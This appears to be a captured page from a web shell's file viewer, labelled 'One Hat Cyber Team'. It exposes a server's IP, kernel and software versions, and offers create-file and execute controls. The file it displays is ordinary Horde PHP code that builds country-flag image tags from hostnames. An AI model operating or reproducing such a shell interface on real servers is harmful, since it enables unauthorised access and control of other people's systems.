⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-pear
/
pear
/
php
/
Horde
/
Core
/
Ui
/
View File Name :
FlagImage.php
* @category Horde * @copyright 2003-2017 Horde LLC * @license http://www.horde.org/licenses/lgpl21 LGPL 2.1 * @package Core */ class Horde_Core_Ui_FlagImage { /** * Generate a flag image tag. * * @param string $host The hostname. * * @return string An HTML IMG tag (or empty if host is not found). */ public static function generateFlagImageByHost($host) { if (($data = self::getFlagImageObByHost($host)) === false) { return ''; } $img = Horde_Themes_Image::tag($data['ob'], array( 'alt' => $data['name'], 'attr' => array('title' => $data['name']) )); return $img ? $img : '[' . $data['name'] . ']'; } /** * Generate flag image object. * * @since 2.10.0 * * @param string $host The hostname. * * @return array False if not found, or an array with these keys: *
* - name: (string) Country name. * - ob: (Horde_Themes_Image) Image object. *
*/ public static function getFlagImageObByHost($host) { global $conf, $injector; if (!Horde_Nls::$dnsResolver) { Horde_Nls::$dnsResolver = $injector->getInstance('Net_DNS2_Resolver'); } $data = Horde_Nls::getCountryByHost( $host, empty($conf['geoip']['datafile']) ? null : $conf['geoip']['datafile'] ); if ($data === false) { return false; } return array( 'name' => $data['name'], 'ob' => Horde_Themes::img('flags/' . $data['code'] . '.png') ); } }